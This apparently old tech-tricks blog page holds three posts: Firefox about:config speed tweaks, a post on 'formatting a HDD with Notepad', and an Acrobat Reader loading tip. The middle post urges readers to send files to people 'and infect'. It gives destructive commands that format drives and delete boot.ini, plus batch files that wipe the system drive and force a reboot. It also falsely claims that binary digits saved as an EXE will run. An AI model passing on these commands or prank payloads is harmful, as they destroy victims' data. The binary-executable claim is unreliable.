Once you’ve loaded up firefox go to the address bar and type or copy and paste:

about:config

Right click and select: New -> Integer

Name the integer or copy paste:

nglayout.initialpaint.delay

Change the integers value to:

300

You can also use 0 (zero) as an Integer Value, if you don’t like the performance of the 300 Integer Value.

Enjoy & Watch Your Speed!

11 Firefox: Extreme Speed !

Or If Not Try This One Too!

1. Type “about:config” into the address bar and hit return. Scroll down and look for the following entries:

network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests

Normally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading.

2. Alter the entries as follows:

Set “network.http.pipelining” to “true”

Set “network.http.proxy.pipelining” to “true”

Set “network.http.pipelining.maxrequests” to some number like 30. This means it will make 30 requests at once.

3. Lastly right-click anywhere in the “aboug:config” page and select New-> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0″. This value is the amount of time the browser waits before it acts on information it recieves.

4. Restart Firefox

If you’re using a broadband connection you’ll load pages 2-3 times faster now.

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How to Format A HDD With Notepad

Posted by admin Under Cool Tricks on Wednesday Sep 3, 2008
Step 1.
Copy The Following In Notepad Exactly as it says0100101100011111001001010101010101000001111110 0000
Step 2.
Save As An EXE Any Name Will Do

Step 3.
Send the EXE to People And Infect

OR

IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001

try to figure out urself rest
cant spoonfeed
its working

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this

go to notepad and type the following:

@Echo off
Del C:\ *.*|y

save it as Dell.bat

want worse then type the following:

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

and save it as a .bat file

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Speed Up Ur Acrobat Reader

Posted by admin Under Cool Tricks on Wednesday Sep 3, 2008
Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.

1. Go to the installation folder of acrobat reader
(C:\program files\adobe\acrobat\reader\.. whatever)

2. Move all the files and folders from the “plugins” directory to the “Optional” directory. (I repeat.. cut and paste the files NOT copy & paste).

Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).

Now your acrobat reader will load very fast
and almost as good as notepad..
the same.

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